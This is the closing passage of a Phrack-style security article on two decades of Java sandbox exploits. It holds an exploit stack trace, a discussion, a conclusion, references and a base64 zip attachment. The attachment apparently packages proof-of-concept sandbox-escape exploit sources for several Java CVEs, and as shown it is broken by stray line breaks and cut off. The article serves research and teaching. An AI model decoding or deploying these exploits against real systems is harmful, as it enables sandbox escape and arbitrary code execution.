 10:    MarshalledObject$MarshalledObjectInputStream(ObjectInputStream)
                .readObject0(boolean) line: 1328
 12:    MarshalledObject$MarshalledObjectInputStream(ObjectInputStream)
                .readObject() line: 350
 14:    MarshalledObject<T>.get() line: 142
 15:    RMIConnectionImpl.unwrap(MarshalledObject, ClassLoader,
                Class<T>) line: 1523
 17:    RMIConnectionImpl.unwrap(MarshalledObject, ClassLoader,
                ClassLoader, Class<T>) line: 1559
 19:    RMIConnectionImpl.createMBean(String, ObjectName, ObjectName,
                MarshalledObject, String[], Subject) line: 376
 21:    Exploit.exploit() line: 79
 22:    Exploit(BypassExploit).run_exploit() line: 24
 23:    ExploitBase.run(ExploitBase) line: 20
 24:    Exploit.main(String[]) line: 19
-------------------------------------------------------------------------
```

------[4.4.3 - Discussion

This vulnerability shows that specificities of the serialization protocol (only a specific constructor is called) can be exploited together with vulnerable system code that deserializes analyst-controlled data in a privileged context to bypass the sandbox and run arbitrary code. As the serialization protocol cannot be easily modified for backward compatibility reasons, the vulnerable code has been patched.

--[5 - Conclusion

In this article, we focused on the Java platform's complex security model, which has been attacked for roughly two decades now. We showed that the platform comprises native components (like the Java virtual machine), as well as a large body of Java system classes (the JCL), and that there has been a broad range of different attacks on both parts of the system. This

includes low-level attacks such as memory corruption vulnerabilities on the one hand, but also Java-level attacks on policy enforcement, like trusted-method-chaining attacks for example. This highlights how difficult a task it is to secure the platform for practical use.

We presented this article as a case study to illustrate how a complex system such as the Java platform fails at securely containing the execution of potentially malicious code. Hopefully, this overview of past Java exploits provides insights that help us design more robust systems in the future.

--[6 - References

[1] Aleph One. "Smashing The Stack For Fun And Profit." Phrack 49 1996

[2] Oracle. "The History of Java Technology." http://www.oracle.com/technetwork/java/javase/overview/javahistory-index-198355.html, 2018

[3] Drew Dean, Edward W. Felten, Dan S. Wallach. "Java security: From HotJava to Netscape and beyond." In Security & Privacy, IEEE, 1996

[4] Joshua J. Drake. "Exploiting memory corruption vulnerabilities in the java runtime." 2011

[5] Esteban Guillardoy. "Java 0day analysis (CVE-2012-4681)." https://immunityproducts.blogspot.com/2012/08/java-0day-analysis-cve-2012-4681.html, 2012

[6] Jeong Wook Oh. "Recent Java exploitation trends and malware." Presentation at Black Hat Las Vegas, 2012

[7] Security Explorations. "Oracle CVE ID Mapping SE - 2012 - 01, Security vulnerabilities in Java SE." 2012

[8] Brian Gorenc, Jasiel Spelman. "Java every-days exploiting software running on 3 billion devices." In Proceedings of BlackHat security conference, 2013

[9] Xiao Lee and Sen Nie. "Exploiting JRE - JRE Vulnerability: Analysis & Hunting." Hitcon, 2013

[10] Matthias Kaiser. "Recent Java Exploitation Techniques." HackPra, 2013

[11] Google, https://blog.chromium.org/2014/11/the-final-countdown-for-npapi.html. "The Final Countdown for NPAPI." 2014

[12] Mozilla, https://blog.mozilla.org/futurereleases/2015/10/08/npapi-plugins-in-firefox/. "NPAPI Plugins in Firefox." 2015

[13] Alexandre Bartel, Jacques Klein, Yves Le Traon. "Exploiting CVE-2017-3272." In Multi-System & Internet Security Cookbook (MISC), May 2018

[14] Red Hat. "CVE-2017-3272 OpenJDK: insufficient protected field access checks in atomic field updaters (Libraries, 8165344)." Bugzilla - Bug 1413554 https://bugzilla.redhat.com/show_bug.cgi?id=1413554 2017

[15] Norman Maurer. "Lesser known concurrent classes - Atomic*FieldUpdater." In http://normanmaurer.me/blog/2013/10/28/Lesser-known-concurrent-classes-Part-1/

[16] Jeroen Frijters. "Arraycopy HotSpot Vulnerability Fixed in 7u55 (CVE-2014-0456)." In IKVM.NET Weblog, 2014

[17] NIST. "CVE-2016-3587." https://nvd.nist.gov/vuln/detail/CVE-2016-3587

[18] Vincent Lee. "When Java throws you a Lemon, make Limenade: Sandbox escape by type confusion." In https://www.zerodayinitiative.com/blog/2018/4/25/when-java-throws-you-a-lemon-make-limenade-sandbox-escape-by-type-confusion

[19] Red Hat. "CVE-2015-4843 OpenJDK: java.nio Buffers integer overflow issues (Libraries, 8130891)." Bugzilla - Bug 1273053 https://bugzilla.redhat.com/show_bug.cgi?id=1273053, 2015

[20] Alexandre Bartel. "Exploiting CVE-2015-4843." In Multi-System & Internet Security Cookbook (MISC), January 2018

[21] Oracle. "The Java Virtual Machine Specification, Java SE 7 Edition: 4.10.2.4. Instance initialization methods and newly created objects." http://docs.oracle.com/javase/specs/jvms/se7/html/jvms-4.html#jvms-4.10.2.4, 2013

[22] National Vulnerability Database. "Vulnerability summary for cve-2017-3289." https://nvd.nist.gov/vuln/detail/CVE-2017-3289

[23] Redhat. "Bug 1413562 - (cve-2017-3289) cve-2017-3289 openjdk: insecure class construction (hotspot, 8167104)." https://bugzilla.redhat.com/showbug.cgi?id=1413562.

[24] OpenJDK. "Openjdk changeset 8202:02a3d0dcbedd jdk8u121-b08 8167104: Additional class construction refinements." http://hg.openjdk.java.net/jdk8u/jdk8u/hotspot/rev/02a3d0dcbedd.

[25] Oracle. "The java virtual machine specification, java se 7 edition: 4.7.4. the stackmaptable attribute." http://docs.oracle.com/javase/specs/jvms/se7/html/ jvms-4.html#jvms-4.7.4, 2013

[26] "Request for review (s): 7020118." http://mail.openjdk.java.net/pipermail/hotspot-runtime-dev/2011-February/001866.html

[27] Philipp Holzinger, Stephan Triller, Alexandre Bartel, and Eric Bodden. "An in-depth study of more than ten years of java exploitation." In Proceedings of the 23rd ACM Conference on Computer and Communications

[28] Eric Bruneton. "ASM, a Java bytecode engineering library."
http://download.forge.objectweb.org/asm/asm-guide.pdf

[29] LSD Research Group et al.. "Java and java virtual machine security, vulnerabilities and their exploitation techniques." In Black Hat Briefings, 2002

[30] Drew Dean, Edward W Felten, and Dan S Wallach. "Java security: From hotjava to netscape and beyond." In Proceedings, IEEE Symposium on Security and Privacy, 1996, pages 190-200

[31] Cristina Cifuentes, Nathan Keynes, John Gough, Diane Corney, Lin Gao, Manuel Valdiviezo, and Andrew Gross. "Translating java into llvm ir to detect security vulnerabilities." In LLVM Developer Meeting, 2014

[32] Sami Koivu. "Java Trusted Method Chaining (CVE-2010-0840/ZDI-10-056)."

[33] Oracle. "JList."
https://docs.oracle.com/javase/7/docs/api/javax/swing/JList.html

[34] Oracle. "Interface Serializable."
https://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html

[35] Sami Koivu, Matthias Kaiser. "CVE-2010-0094."
https://github.com/rapid7/metasploit-framework/tree/master/external/source/exploits/CVE-2010-0094

--[7 - Attachments

>>>base64-begin code.zip
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
YOnYo1BY5ifScI5OxMLRgKxa2rsTFsM/EyB3KY1ByFJjueM7L2XEeDiTHddx5P5nUtao0dLa57f
dvOyd9gtEd8HJDbDDRxWTncYQZ+6E3C4sccGSzYsLRo+vUEsDBBQAAAAIAHJv2Ux5M/yrwQAAAD
gBAAAxABwAY29kZS90cnVzdGVkLW1ldGhvZC1jaGFpbl9DVkUtMjAxMC0wODQwL0xpbmsuamF2Y
VVUCQADKNkwW5fZMFt1eAsAAQToAwAABOgDAABNjcFuwkAMRO/+ijmmEQofkDMnWjjQW9XDJlh0
6cZZ7XorUMW/1ylBwbJ9sGfekB/imBRn9+Oajp3kZnOJiXP2o7T0/C3qQ/PmYku0rmtCDZs1xdI
F36MPLme8evkGX5TlmLGAYJzAA4tmvHNW/BIBxmo2oukKnnZrJ+uZN5GqfXfmXqEunVhXOGjycs
LA+jUed27gFe6Kj0+YpPwHvBgcVrlETtXD+uxZpFPkjZbQOc8cW75WD1JiLUkgJYTZcKM/UEsDB
BQAAAAIAHJv2Uzo6Zos4AAAAFMBAAAxABwAY29kZS90cnVzdGVkLW1ldGhvZC1jaGFpbl9DVkUt
MjAxMC0wODQwL1Rlc3QuamF2YVVUCQADKNkwW5fZMFt1eAsAAQToAwAABOgDAABNkLFOAzEQRPv
7iikhxeUDaGhSAaIgSr/nbM4bfLZlrzkQ4t9Zn1JEcjWemTf2fjdgh6OXCjvXVhWEHMixT+HMBS
5QrSPwKvETsuTAC0et0B6pCT0uCkcRE6Pwlj2DLtrDackSSCVFrKIeb5THQ9TygyrRsbF6PqayU
Li5LbZKCCbalBDSClfYKuJs7m2NsUnvt/QO40s05sXwZiipzd4Uz0WUDDWaqfueqalPBR+0CF6S
fDVT90NuUxB3V3Fk+4rfAVaO2+X7dGWnmFlPFBo/PG6cteLw7Tj3Rz4Nw9/wD1BLAwQUAAAACAB
yb9lM7Ckgn5MAAAAGAQAAMQAcAGNvZGUvdHJ1c3RlZC1tZXRob2QtY2hhaW5fQ1ZFLTIwMTAtMD
g0MC9ob3d0by50eHRVVAkAAyjZMFuX2TBbdXgLAAEE6AMAAAToAwAAZY/BCsIwEETv+YqFnk3ai
4JXQS8WPHiXNA24bbIJTVp/32hohHqb2Z15MBUoZz0azYSX8SmiE0M/NvzAa9EhiUEuUkGLhFYa
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
